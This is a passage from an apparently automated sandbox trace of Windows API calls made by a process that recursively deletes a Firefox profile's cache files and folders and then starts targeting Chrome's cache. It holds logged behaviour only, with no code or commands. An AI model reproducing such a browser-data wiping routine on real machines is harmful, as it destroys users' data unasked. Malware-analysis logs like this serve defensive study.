nFileSizeLow=0x10d22, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="885EEd01", cAlternateFileName="")) returned 0 [0117.624] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.624] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.624] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.624] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.624] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\69")) returned 1 [0117.628] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x424bc600, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x424bc600, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x424bc600, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="69", cAlternateFileName="")) returned 0 [0117.628] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.628] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.628] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.628] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.628] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e")) returned 1 [0117.628] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="F", cAlternateFileName="")) returned 1 [0117.628] lstrlenW (lpString="F") returned 1 [0117.628] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="F" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F" [0117.628] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F") returned 81 [0117.628] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.628] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.628] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.628] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\*.*" [0117.628] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.629] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.629] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="23", cAlternateFileName="")) returned 1 [0117.629] lstrlenW (lpString="23") returned 2 [0117.629] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F", pszFile="23" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23" [0117.629] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23") returned 84 [0117.629] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.629] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.629] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.629] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23\\*.*" [0117.629] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.629] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.629] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x424bc600, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xf888, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7E0FEd01", cAlternateFileName="")) returned 1 [0117.629] lstrlenW (lpString="7E0FEd01") returned 8 [0117.630] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23", pszFile="7E0FEd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23\\7E0FEd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23\\7E0FEd01" [0117.630] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23\\7E0FEd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\f\\23\\7e0fed01")) returned 1 [0117.630] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x424bc600, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xf888, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7E0FEd01", cAlternateFileName="")) returned 0 [0117.630] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.630] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.630] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.630] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.630] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\23" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\f\\23")) returned 1 [0117.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fce42c0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="94", cAlternateFileName="")) returned 1 [0117.630] lstrlenW (lpString="94") returned 2 [0117.630] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F", pszFile="94" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94" [0117.630] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94") returned 84 [0117.630] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.630] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.630] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.631] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94\\*.*" [0117.631] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fce42c0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.631] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fce42c0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.631] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9fce42c0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xaa05, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C3F14d01", cAlternateFileName="")) returned 1 [0117.631] lstrlenW (lpString="C3F14d01") returned 8 [0117.631] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94", pszFile="C3F14d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94\\C3F14d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94\\C3F14d01" [0117.631] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94\\C3F14d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\f\\94\\c3f14d01")) returned 1 [0117.631] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9fce42c0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xaa05, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C3F14d01", cAlternateFileName="")) returned 0 [0117.631] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.631] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.632] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.632] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.632] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F\\94" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\f\\94")) returned 1 [0117.632] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fce42c0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fce42c0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fce42c0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="94", cAlternateFileName="")) returned 0 [0117.632] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.632] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.632] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.632] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.632] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\F" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\f")) returned 1 [0117.632] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf3919580, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="_CACHE_001_", cAlternateFileName="_CACHE~2")) returned 1 [0117.632] lstrlenW (lpString="_CACHE_001_") returned 11 [0117.632] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="_CACHE_001_" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_001_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_001_" [0117.632] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_001_" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\_cache_001_")) returned 1 [0117.634] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xb1507fe0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="_CACHE_002_", cAlternateFileName="_CACHE~3")) returned 1 [0117.634] lstrlenW (lpString="_CACHE_002_") returned 11 [0117.634] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="_CACHE_002_" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_002_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_002_" [0117.634] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_002_" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\_cache_002_")) returned 1 [0117.635] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf3db6020, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="_CACHE_003_", cAlternateFileName="_CACHE~4")) returned 1 [0117.635] lstrlenW (lpString="_CACHE_003_") returned 11 [0117.635] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="_CACHE_003_" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_003_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_003_" [0117.635] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_003_" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\_cache_003_")) returned 1 [0117.637] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xea5a1d60, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x2114, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="_CACHE_MAP_", cAlternateFileName="_CACHE~1")) returned 1 [0117.637] lstrlenW (lpString="_CACHE_MAP_") returned 11 [0117.637] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="_CACHE_MAP_" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_MAP_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_MAP_" [0117.637] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\_CACHE_MAP_" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\_cache_map_")) returned 1 [0117.638] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xea5a1d60, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x2114, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="_CACHE_MAP_", cAlternateFileName="_CACHE~1")) returned 0 [0117.638] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0117.638] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0117.638] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770ed0 | out: hHeap=0x9770000) returned 1 [0117.638] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0117.638] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xea5a1d60, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xea5a1d60, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0117.638] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0117.638] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0117.638] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x9770a90 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0117.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x20a) returned 0x9770cb0 [0117.638] lstrcpyW (in: lpString1=0x9770cb0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0117.638] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local", lpString2="\\Google\\Chrome\\User Data\\Default\\Cache\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User 